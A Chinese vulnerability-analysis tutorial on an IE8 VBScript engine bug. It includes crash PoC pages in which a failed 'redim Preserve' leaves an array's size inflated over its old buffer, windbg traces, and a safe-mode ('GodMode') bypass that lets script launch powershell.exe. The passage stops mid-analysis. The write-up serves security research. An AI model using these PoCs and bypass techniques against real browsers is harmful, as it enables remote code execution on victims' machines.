调试环境 操作系统: Windows 7 Service Pack 1 32 位
浏览器: IE 8.0.7601.17514
背景知识 1. vbscript 基础语法 vbscript 中定义一维数组语法 dim array(9)
,表示定义了一个包含10个元素的数组,下标从0开始,和其它语言唯一的区别是元素个数是 n + 1个。
多维数组: dim array(2, 3)
, 表示定义了一个3行4列的二维数组。也可以不指明元素个数: dim array()
。
使用关键字 redim
可以修改已定义的数组大小:redim array(4)
。但是在改变数组大小时,数组的数据可能会被破坏,需要加上关键字 preserve
: redim preserve array(10)
。此时原数组的数据不会破坏。
2. 常用调试辅助函数 在调试vbscript脚本时,一般会使用一些辅助函数用于方便调试定位变量地址,先来看下IsEmpty
函数,该函数对应vbscript.dll
模块中的VbsIsEmpty
函数:
在VbsIsEmpty
函数中,实际调用的是GetVarType
对第三个参数的进行类型判别,而第三个参数对应的即是 vbscript 语句中 IsEmpty
对应的参数。这样便可在调试时很容易知道我们需要的变量所在的内存地址。在 vbscript调试中会经常用到这个函数断点,同样的还有VbsIsObject
,VbsIsNull
等。
常见vbscript语句与对应的实现函数关系:
vbscript 语句
Native 实现函数
redim array(10)
vbscript!MakeArray
redim preserve array(10)
vbscript!RedimPreserveArray
a = 1
vbscript!AssignVar
IsEmpty
vbscript!VbsIsEmpty
Msgbox "hello"
vbscript!VbsMsgbox
IsObject(a)
vbscript!VbsIsObject
3. vbscript 变量 vbscript中变量由VARIANT
结构体定义,内存占用大小为0x10
,其结构如下(简化了union部分):
1 2 3 4 5 6 7 8 typedef struct tagVARIANT { VARTYPE varType; +0x0 : word 变量的类型值 WORD wReserved1; WORD wReserved2; WORD wReserved3; DWORD dataLow; +0x8 : dword 存放实际的元素数据 DWORD dataHigh; +0xc : dword 同上,对于哪些字节表示实际数据,需要参考varType的值,以确定数据的大小 } VARIANT;
其中varType
字段表示变量的类型,由 VARENUM
枚举类型指定,对应的头文件为wtypes.h
,常见的类型值如下:
常用版:
Constant
Value
Description
vbEmpty
0
未初始化(Empty)
vbNull
1
无效数据(NULL)
vbInterger
2
整型(Interger)
vbLong
3
长整型(Long Interger)
vbDouble
5
双精度类型
vbString
8
字符串类型
VbClass
9
类对象引用
vbVariant
0xc
Variant(仅对数组有效)
vbArray
0x2000
数组类型
官方版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 enum VARENUM { VT_EMPTY = 0 , VT_NULL = 1 , VT_I2 = 2 , VT_I4 = 3 , VT_R4 = 4 , VT_R8 = 5 , VT_CY = 6 , VT_DATE = 7 , VT_BSTR = 8 , VT_DISPATCH = 9 , VT_ERROR = 0x0A , VT_BOOL = 0x0B , VT_VARIANT = 0x0C , VT_UNKNOWN = 0x0D , VT_DECIMAL = 14 , VT_I1 = 16 , VT_UI1 = 17 , VT_UI2 = 18 , VT_UI4 = 19 , VT_I8 = 20 , VT_UI8 = 21 , VT_INT = 22 , VT_UINT = 23 , VT_VOID = 24 , VT_HRESULT = 25 , VT_PTR = 26 , VT_SAFEARRAY = 27 , VT_CARRAY = 28 , VT_USERDEFINED = 29 , VT_LPSTR = 30 , VT_LPWSTR = 31 , VT_RECORD = 36 , VT_INT_PTR = 37 , VT_UINT_PTR = 38 , VT_FILETIME = 64 , VT_BLOB = 65 , VT_STREAM = 66 , VT_STORAGE = 67 , VT_STREAMED_OBJECT = 68 , VT_STORED_OBJECT = 69 , VT_BLOB_OBJECT = 70 , VT_CF = 0x47 , VT_CLSID = 0x48 , VT_VERSIONED_STREAM = 0x49 , VT_BSTR_BLOB = 0xFFF , VT_VECTOR = 0x1000 , VT_ARRAY = 0x2000 , VT_BYREF = 0x4000 , VT_RESERVED = 0x8000 , VT_ILLEGAL = 0xFFFF , VT_ILLEGALMASKED = 0xFFF , VT_TYPEMASK = 0xFFF }
调试如下poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <!doctype html> <html lang ="en" > <head > </head > <body > <script LANGUAGE ="VBScript" > dim a dim b dim c dim d a = &h1234 b = &h87654321 c = 1.1234567890123456789 d = "hello" IsEmpty(a) IsEmpty(b) IsEmpty(c) IsEmpty(d) </script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 0:013> bu vbscript!VbsIsEmpty 0:013> bl 0 eu 0001 (0001) (vbscript!VbsIsEmpty) 0:005> g Tue Jun 25 18:38:39.588 2019 (GMT+8): Breakpoint 0 hit eax=6a2d185c ebx=021dd414 ecx=6a32a9d8 edx=021dd38c esi=0230a43c edi=00000001 eip=6a2ec206 esp=021dd2a8 ebp=021dd2b8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6a2ec206 8bff mov edi,edi 0:005> dd poi(esp+c) l4 0230acd0 00000002 00000000 00001234 00000000 0:005> g Tue Jun 25 18:45:11.523 2019 (GMT+8): Breakpoint 0 hit eax=6a2d185c ebx=021dd414 ecx=6a32a9d8 edx=021dd38c esi=0230a43c edi=00000001 eip=6a2ec206 esp=021dd2a8 ebp=021dd2b8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6a2ec206 8bff mov edi,edi 0:005> dd poi(esp+c) l4 0230acd0 00000003 00000000 87654321 00000000 0:005> g Tue Jun 25 18:45:33.488 2019 (GMT+8): Breakpoint 0 hit eax=6a2d185c ebx=021dd414 ecx=6a32a9d8 edx=021dd38c esi=0230a43c edi=00000001 eip=6a2ec206 esp=021dd2a8 ebp=021dd2b8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6a2ec206 8bff mov edi,edi 0:005> dd poi(esp+c) l4 0230acd0 00000005 00000000 d3746f66 3ff1f9ad 0:005> g Tue Jun 25 18:45:48.838 2019 (GMT+8): Breakpoint 0 hit eax=6a2d185c ebx=021dd414 ecx=6a32a9d8 edx=021dd38c esi=0230a43c edi=00000001 eip=6a2ec206 esp=021dd2a8 ebp=021dd2b8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6a2ec206 8bff mov edi,edi 0:005> dd poi(esp+c) l4 0230acd0 0000004a 00000000 0060f838 00000000 0:005> dd 0060f838 l4 0060f838 00000008 00000000 003ceb74 00000000 0:005> du 003ceb74 003ceb74 "hello" 0:005> dt VARIANT 0060f838 vt wReserved1 wReserved2 wReserved3 bstrVal ole32!VARIANT +0x000 vt : 8 +0x002 wReserved1 : 0 +0x004 wReserved2 : 0 +0x006 wReserved3 : 0 +0x008 bstrVal : 0x003ceb74 "hello" 0:005> dd 0x003ceb74 - 4 l4 003ceb70 0000000a 00650068 006c006c 0000006f
在字符串类型中,VT_BSTR
指针的前4个字节实际上存的是字符串的长度(一个字符两个字节)。
4. vbscript 数组 vbscript中数组由SAFEARRAY
和SAFEARRAYBOUND
结构体定义.
SAFEARRAY
:
1 2 3 4 5 6 7 8 typedef struct tagSAFEARRAY { USHORT cDims; USHORT fFeatures; ULONG cbElements; ULONG cLocks; PVOID pvData; SAFEARRAYBOUND rgsabound[1 ]; } SAFEARRAY;
SAFEARRAYBOUND
1 2 3 4 typedef struct tagSAFEARRAYBOUND { ULONG cElements; LONG lLbound; } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
调试如下poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <!doctype html> <html lang ="en" > <head > </head > <body > <script LANGUAGE ="VBScript" > dim a(2) a(0) = &h12345678 a(1) = &h87654321 IsEmpty(a) </script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 0:013> bl 0 eu 0001 (0001) (vbscript!VbsIsEmpty) 0:005> g Tue Jun 25 19:18:30.865 2019 (GMT+8): Breakpoint 0 hit eax=68d8185c ebx=0241cfac ecx=68dda9d8 edx=0241cf24 esi=02079e44 edi=00000001 eip=68d9c206 esp=0241ce40 ebp=0241ce50 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 68d9c206 8bff mov edi,edi 0:005> dd poi(esp+c) l4 0207a5e0 0000600c 00000000 0070fd08 004f9e50 0:005> dd 004f9e50 l8 004f9e50 08920001 00000010 00000000 004d3c38 004f9e60 00000003 00000000 43797355 8c000000 0:005> dt SAFEARRAY 004f9e50 ole32!SAFEARRAY +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x004d3c38 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dt SAFEARRAYBOUND 004f9e50 + 0x10 ole32!SAFEARRAYBOUND +0x000 cElements : 3 +0x004 lLbound : 0 0:005> dd 0x004d3c38 lc 004d3c38 00000003 00000000 12345678 00000000 004d3c48 00000003 00000000 87654321 00000000 004d3c58 00000000 00000000 00000000 00000000
5. vbscript 求值栈 在vbscript解释器中,像赋值或者求值等操作,都会用到一个栈来保存中间及临时结果,这个栈被称为求值栈,栈上的对象格式为VARIANT
类型。如 a=&h12345678
,解释器会先将&h12345678
解析为VARIANT
对象,然后放到求值栈中,然后调用vbscript!AssignVar
函数进行复制操作,先取出求值栈中0x12345678
的VARIANT
对象,然后赋值给a
。
调试如下poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <!doctype html> <html lang ="en" > <head > </head > <body > <script LANGUAGE ="VBScript" > dim a IsEmpty("AssignVar") a = &h87654321 IsEmpty(a) </script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 0:012> bu vbscript!VbsIsEmpty 0:012> bl 0 eu 0001 (0001) (vbscript!VbsIsEmpty) 0:012> g Tue Jun 25 21:53:09.006 2019 (GMT+8): ModLoad: 6b650000 6b6bb000 C:\Windows\system32\vbscript.dll Tue Jun 25 21:53:09.006 2019 (GMT+8): Breakpoint 0 hit eax=6b65185c ebx=022fd034 ecx=6b6aa9d8 edx=022fcfac esi=01fc9a60 edi=00000001 eip=6b66c206 esp=022fcec8 ebp=022fced8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6b66c206 8bff mov edi,edi 0:005> dd poi(esp+c) l4 0027fe50 00000008 00000000 01fc9a44 01fc97f4 0:005> du 01fc9a44 01fc9a44 "AssignVar" 0:005> bu vbscript!Assignvar 0:005> g Tue Jun 25 21:56:14.381 2019 (GMT+8): Breakpoint 1 hit eax=0027fe60 ebx=022fd034 ecx=022fd034 edx=00000010 esi=01fc9a60 edi=00000010 eip=6b652e64 esp=022fcee0 ebp=022fcfdc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 vbscript!AssignVar: 6b652e64 8bff mov edi,edi 0:005> dd poi(esp+c) l4 0027fe50 00000003 00000000 87654321 01fc97f4
可以看到,在第一个断点IsEmpty
处,求值栈栈顶地址为0x0027fe50
,栈上对象类型为0x8
,VT_BSTR
。当在第二次断点时,栈顶对象类型变成了0x3
,为VT_I4
类型。对应的值即为poc中的0x87654321
。
在vbscript中,无法获取函数指针的,但是当尝试把函数地址赋值给变量是,求值栈会发生神奇的事情。调试如下poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!doctype html> <html lang ="en" > <head > </head > <body > <script LANGUAGE ="VBScript" > On Error Resume Next sub func() end sub IsEmpty("test") i = func i = null </script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 0:012> bu vbscript!VbsIsEmpty 0:012> bl 0 eu 0001 (0001) (vbscript!VbsIsEmpty) 0:012> g Tue Jun 25 22:45:29.396 2019 (GMT+8): ModLoad: 6b6f0000 6b75b000 C:\Windows\system32\vbscript.dll Tue Jun 25 22:45:29.396 2019 (GMT+8): Breakpoint 0 hit eax=6b6f185c ebx=023fd6d4 ecx=6b74a9d8 edx=023fd64c esi=00d7a8d8 edi=00000001 eip=6b70c206 esp=023fd568 ebp=023fd578 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6b70c206 8bff mov edi,edi 0:005> dd poi(esp+c) l4 0052fe50 00000008 00000000 00d7a8c4 00000000 0:005> du 00d7a8c4 00d7a8c4 "test" 0:005> ba w4 0052fe50 0:005> ba w4 0052fe50+8 0:005> g Tue Jun 25 22:46:27.584 2019 (GMT+8): Breakpoint 1 hit eax=0052fe50 ebx=023fd6d4 ecx=00000000 edx=0000400c esi=00d7a8b0 edi=00000010 eip=6b6f322c esp=023fd594 ebp=023fd67c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!CScriptRuntime::RunNoEH+0xeaf: 6b6f322c 8d4594 lea eax,[ebp-6Ch] 0:005> dd 0052fe50 l4 0052fe50 00000000 00000000 00d7a8c4 00000000 0:005> g Tue Jun 25 22:46:53.012 2019 (GMT+8): Breakpoint 1 hit eax=00000000 ebx=023fd704 ecx=0052f448 edx=00d7a8b8 esi=0052f610 edi=0052fe54 eip=6b6f2b24 esp=023fd52c ebp=023fd534 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vbscript!NameTbl::GetAdrCore+0x2b: 6b6f2b24 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:0052fe54=00000000 ds:0023:0052f610=000007ff 0:005> dd 0052fe50 l4 0052fe50 0000004c 00000000 00d7a8c4 00000000 0:005> g Tue Jun 25 22:47:07.785 2019 (GMT+8): Breakpoint 2 hit eax=00000000 ebx=023fd704 ecx=0052f448 edx=00d7a8b8 esi=0052f618 edi=0052fe5c eip=6b6f2b26 esp=023fd52c ebp=023fd534 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vbscript!NameTbl::GetAdrCore+0x2d: 6b6f2b26 a5 movs dword ptr es:[edi],dword ptr [esi] es:0023:0052fe5c=00000000 ds:0023:0052f618=f60000f6 0:005> dd 0052fe50 l4 0052fe50 0000004c 000007ff 0052fe98 00000000 0:005> dd 0052fe98 l4 0052fe98 6b6f4934 00000001 0052f7a8 00d7a878 0:005> ln 6b6f4934 (6b6f4934) vbscript!CScriptEntryPoint::`vftable' | (6b70ab54) vbscript!CEntryPointDispatch::`vftable' Exact matches: vbscript!CScriptEntryPoint::`vftable' = <no type information> 0:005> dd poi(poi(0052fe98+0x8)+0x10) l4 0052f100 6b6f4868 6b6f4ab4 6b6f4410 6b6f43f8 0:005> ln 6b6f4868 (6b6f4868) vbscript!COleScript::`vftable' | (6b70fdbc) vbscript!`string' Exact matches: vbscript!COleScript::`vftable' = <no type information> 0:005> g Tue Jun 25 22:51:28.415 2019 (GMT+8): Breakpoint 1 hit eax=0052fe50 ebx=023fd6d4 ecx=00000001 edx=023fd540 esi=00000000 edi=80020102 eip=6b6f3faf esp=023fd594 ebp=023fd67c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vbscript!CScriptRuntime::RunNoEH+0x79d: 6b6f3faf e99ce8ffff jmp vbscript!CScriptRuntime::RunNoEH+0x156 (6b6f2850) 0:005> dd 0052fe50 l4 0052fe50 00000001 000007ff 0052fe98 f60000f6
调试时,通过IsEmpty
找到当前求值栈的栈顶地址为0x0052fe50
,此时栈顶存放的VARIANT
类型为0x8
VT_BSTR
,数据段存放的是”func”字符串的地址。随后对求值栈的类型字段和数据段下写断点ba w4 0046fbb8
, ba w4 0046fbb8+8
.在执行到i=func
时,解释器会先获取func
函数的地址,然后封装成VARIANT
类型放到求值栈上,可以看到0x4c
对应的类型为VT_FUNC
。随后准备进行赋值操作,但是在赋值检查类型时,发现求值栈中的是函数地址,会直接返回错误,不会执行赋值操作。但poc中又设置了On Error Resume Next
,所以会向下继续执行i=null
。 而在准备null
的VARIANT
类型时,解释器并不是将新封装的VARIANT
类型放到求值栈中,而仅仅是将求值栈里面的类型域修改成了VT_NULL
,0x1
,然后赋值给i
。数据域中依然保留的是func
的地址。最终变量i
保存了func
函数的地址。而通过观察发现,该地址其实是CScriptEntryPoint
对象的指针。
6. SafeMode(GodMode) SafeMode 是 Windows 操作系统中针对安全的一种特殊模式,即安全模式。在 vbscript 引擎中同样存在这样一个安全属性值,正常情况下该属性值为 0xE
。默认情况下 vbscript 脚本执行权限是非常低的,正是因为safemode 安全属性的限制,如若我们能通过一定方法修改掉此属性值(改为 0 或者 4),即可绕过安全权限检查,为所欲为,即进入上帝模式。而且,经过调试发现在 COleScript
对象偏移 0x174
(不同版本可能偏移不一样) 位置正是 SafeMode标志位(结论记住就行,前人逆向出来的经验)。
1 2 3 4 5 6 7 8 9 <html > <body > <script language ="vbscript" > on error resume next set shell = createobject("shell.application") shell.shellexecute "powershell.exe" </script > </body > </html >
正常情况下,上面poc是无法弹出powershell.exe
的。在 IE 中打开,使用 windbg 附加进程后调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0:013> bu vbscript!COleSCript::InSafeMode 0:005> g Fri Jun 21 16:39:37.292 2019 (GMT+8): Breakpoint 3 hit eax=75af0782 ebx=00000000 ecx=02247740 edx=75ae0000 esi=02249828 edi=00000000 eip=6c71ce4d esp=0223cef8 ebp=0223cf80 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 vbscript!COleScript::InSafeMode: 6c71ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:022478b4=0000000e 0:005> dd ecx+174 L4 022478b4 0000000e 00000000 00000000 00000000 0:005> eb ecx+174 0 0:005> dd ecx+174 L4 022478b4 00000000 00000000 00000000 00000000
可以看到,在 InSafeMode
函数中,会检查 0x174
偏移处的值与 0xB(1011)
的 与 结果。如果结果为 0
, 则vbscript的执行将不再收到限制。故此时值应该为 0
或者 4(0100)
才行。手动在调试器中修改内存值,便可弹出cmd。
漏洞分析 漏洞成因分析 先看一个简化版的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <!doctype html> <html lang ="en" > <head > </head > <body > <script LANGUAGE ="VBScript" > On Error Resume Next dim arrayA() dim arrayB() dim size dim over size = &h5 over = &h8000000 + size redim Preserve arrayA(size) IsEmpty(arrayA) redim arrayB(size) redim Preserve arrayA(over) arrayA(size+1) = 5 </script > </body > </html >
windbg 打开堆调试开关:
1 2 3 C:\Windows\system32>gflags.exe /i iexplore.exe +hpa -ust Current Registry Settings for iexplore.exe executable are: 02000000 hpa - Enable page heap
IE 运行 poc 时用windbg 附加上,可以看到崩溃信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 0:005> g Mon Jun 24 11:06:29.036 2019 (GMT+8): (86c.848): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000400c ebx=04ea7000 ecx=0000400c edx=00000002 esi=00000010 edi=00000001 eip=68512e78 esp=041bcfd4 ebp=041bcffc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 vbscript!AssignVar+0x14: 68512e78 66390b cmp word ptr [ebx],cx ds:0023:04ea7000=???? vbscript!AssignVar: 68512e64 8bff mov edi,edi 68512e66 55 push ebp 68512e67 8bec mov ebp,esp 68512e69 83ec20 sub esp,20h 68512e6c 53 push ebx 68512e6d 8b5d0c mov ebx,dword ptr [ebp+0Ch] 68512e70 b80c400000 mov eax,400Ch 68512e75 8bc8 mov ecx,eax 68512e77 56 push esi 68512e78 66390b cmp word ptr [ebx],cx ds:0023:04ea7000=???? 68512e7b 0f841f9f0000 je vbscript!AssignVar+0x19 (6851cda0)
可以看到,执行到 eip=68512e78
时,在读取ebx
指向的内存时出错。查看 ebx
指向的内存是如何申请的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0:005> !heap -p -a ebx address 04ea7000 found in _DPH_HEAP_ROOT @ 1f1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 4dd14e0: 4ea6ef0 110 - 4ea6000 2000 6d178e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 6d1792b2 verifier!AVrfDebugPageHeapReAllocate+0x000001a2 77796153 ntdll!RtlDebugReAllocateHeap+0x00000033 7775e46c ntdll!RtlReAllocateHeap+0x00000054 775aee32 ole32!CRetailMalloc_Realloc+0x00000025 7784ed3c OLEAUT32!SafeArrayRedim+0x00000153 685258da vbscript!RedimPreserveArray+0x00000081 68525887 vbscript!CScriptRuntime::RunNoEH+0x00001466 68514ff6 vbscript!CScriptRuntime::Run+0x00000064 68514f79 vbscript!CScriptEntryPoint::Call+0x00000051 6851512b vbscript!CSession::Execute+0x000000c8 6851536e vbscript!COleScript::ExecutePendingScripts+0x00000146 68520e4a vbscript!COleScript::ParseScriptTextCore+0x00000247 685193e8 vbscript!COleScript::ParseScriptText+0x0000002b
通过!heap -p -a ebx
可以看到是 vbscript!RedimPreserveArray
申请到的。上 IDA 分析 vbscript.dll
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void __stdcall RedimPreserveArray (SAFEARRAY *psa, unsigned int a2, struct VAR *a3) { SAFEARRAY *v3; const unsigned __int16 *v4; VAR *v5; int v6; __int32 v7; struct VAR *v8 ; SAFEARRAYBOUND psaboundNew; SAFEARRAY *psaa; v3 = psa; if ( a2 != psa->cDims ) goto LABEL_5; psaboundNew.lLbound = 0 ; psaboundNew.cElements = *((_DWORD *)VAR::PvarGetTypeVal(a3, 3 ) + 2 ) + 1 ; psaa = (SAFEARRAY *)1 ; if ( a2 > 1 ) { v5 = (struct VAR *)((char *)a3 + 16 ); v6 = (int )&v3[1 ]; while ( !*(_DWORD *)(v6 + 4 ) && *(_DWORD *)v6 == *((_DWORD *)VAR::PvarGetTypeVal(v5, 3 ) + 2 ) + 1 ) { psaa = (SAFEARRAY *)((char *)psaa + 1 ); v6 += 8 ; v5 = (VAR *)((char *)v5 + 16 ); if ( (unsigned int )psaa >= a2 ) goto LABEL_3; } LABEL_5: RaiseErrorHr(-2146828279 , 0 , 0 , -1 ); } LABEL_3: v4 = (const unsigned __int16 *)SafeArrayRedim(v3, &psaboundNew); if ( (signed int )v4 < 0 ) RaiseErrorHr(v7, v8, v4, 0 ); }
通过分析,在函数 RedimPreserveArray
中又调用 aoleaut32
模块中的 SafeArrayRedim
函数。其中,v3
也就是 psa
类型为 SAFEARRAY
, 表示带调整的数组,psaboundNew
类型为 SAFEARRAYBOUND
,表示待调整的数组大小。
关闭之前开启的堆调试:
1 2 C:\Windows\system32>gflags.exe /i iexplore.exe -hpa Current Registry Settings for iexplore.exe executable are: 00000000
修改下之前的POC,增加IsEmpty
用于辅助调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <!doctype html> <html lang ="en" > <head > </head > <body > <script LANGUAGE ="VBScript" > On Error Resume Next dim arrayA() dim arrayB() dim size dim over size = &h5 over = &h8000000 + size redim Preserve arrayA(size) IsEmpty(arrayA) redim arrayB(size) redim Preserve arrayA(over) IsEmpty(arrayA) arrayA(size+1) = 5 </script > </body > </html >
调试上面poc,使用IE打开poc后附加 IE 进程,在vbscript!VbsIsEmpty
对 IsEmpty
下断点进行调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 0:013> bu vbscript!VbsIsEmpty 0:013> bl 0 eu 0001 (0001) (vbscript!VbsIsEmpty) 0:005> g Tue Jun 25 14:39:48.836 2019 (GMT+8): Breakpoint 0 hit eax=6a2d185c ebx=024ad034 ecx=6a32a9d8 edx=024acfac esi=01f8a088 edi=00000001 eip=6a2ec206 esp=024acec8 ebp=024aced8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6a2ec206 8bff mov edi,edi 0:005> kv 2 ChildEBP RetAddr Args to Child 024acec4 6a2d3854 024acfac 00000001 003dfb00 vbscript!VbsIsEmpty (FPO: [3,0,0]) 024aced8 6a2d586e 024acfac 00000001 003dfb00 vbscript!StaticEntryPoint::Call+0x11 (FPO: [5,0,0]) 0:005> dd 003dfb00 l4 003dfb00 0000600c 00000000 01f87798 0010d850 0:005> dt tagVARIANT 003dfb00 vt wReserved1 wReserved2 wReserved3 pparray ole32!tagVARIANT +0x000 vt : 0x600c +0x002 wReserved1 : 0 +0x004 wReserved2 : 0 +0x006 wReserved3 : 0 +0x008 pparray : 0x01f87798 -> 0x0010d850 tagSAFEARRAY 0:005> dd 01f87798 l4 01f87798 0010d850 00000000 00000000 08cfd360 0:005> dd 0010d850 l8 0010d850 08800001 00000010 00000000 000e5a28 0010d860 00000006 00000000 53aee65f 88000000 0:005> dt tagSAFEARRAY 0010d850 ole32!tagSAFEARRAY +0x000 cDims : 1 +0x002 fFeatures : 0x880 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x000e5a28 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dt tagSAFEARRAYBOUND 0010d850 + 0x10 UxTheme!tagSAFEARRAYBOUND +0x000 cElements : 6 +0x004 lLbound : 0
通过查看栈回溯观察第三个参数地址为0x003dfb00
,而这个地址上存的其实是一个VARIANT
类型。对比前面给出的VARIANT
结构,可以看到其中varType
为0x600c
,查看前面VARENUM
中的值,0x600c
对应的类型其实是VT_VARIANT|VT_ARRAY|VT_BYREF
,即当前VARIANT
其实是一个数组引用,0x01f87798
上存的是数组首地址的指针,而0x0010d850
才是真正数组首地址值。其实看到varType
类型为0x600c
时,可以直接查看偏移0xc
处的DWORD
值,该值便是数组首地址。
将0x0010d850
处值以tagSAFEARRAY
结构展示,可以看到这是一个一维数组,数据存放在0x000e5a28
pvData
处,数组大小为6
。
继续调试,我们在vbscript!RedimPreserveArray
处下断点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0:005> bu vbscript!RedimPreserveArray 0:005> bl 0 e 6a2ec206 0001 (0001) 0:**** vbscript!VbsIsEmpty 1 e 6a2e5891 0001 (0001) 0:**** vbscript!RedimPreserveArray 0:005> g Tue Jun 25 14:51:58.106 2019 (GMT+8): Breakpoint 1 hit eax=01f8778c ebx=024ad034 ecx=0010d850 edx=0000600c esi=01f8a3fd edi=00000000 eip=6a2e5891 esp=024acee4 ebp=024acfdc iopl=0 nv up ei pl nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000203 vbscript!RedimPreserveArray: 6a2e5891 8bff mov edi,edi 0:005> gu Tue Jun 25 14:52:26.436 2019 (GMT+8): Breakpoint 0 hit eax=6a2d185c ebx=024ad034 ecx=6a32a9d8 edx=024acfac esi=01f8a088 edi=00000001 eip=6a2ec206 esp=024acec8 ebp=024aced8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vbscript!VbsIsEmpty: 6a2ec206 8bff mov edi,edi
此时断点是断在poc中的redim Preserve arrayA(over)
语句。而变量over
是一个很大的值0x8000005
,系统在申请内存时不可能申请这么大的内存空间,但是由于存在On Error Resume Next
语句,脚本会继续向下执行,因此在执行gu
命令后程序会出错然后跳出vbscript!RedimPreserveArray
函数,然后断在vbscript!VbsIsEmpty
上。此时,我们再观察arrayA
中的内容:
1 2 3 4 5 6 7 0:005> dd 0010d850 l8 0010d850 08800001 00000010 00000000 000e5a28 0010d860 08000006 00000000 53aee65f 88000000 0:005> dt tagSAFEARRAYBOUND 0010d850 + 0x10 UxTheme!tagSAFEARRAYBOUND +0x000 cElements : 0x8000006 +0x004 lLbound : 0
数组实际数据地址依然是0x000e5a28
,但是数组大小却由原来的0x6
变成了现在的0x8000006
,而这个值就是poc中的over
大小。
在 IDA 查看oleaut32.dll
中负责实际内存调整的SafeArrayRedim
函数:
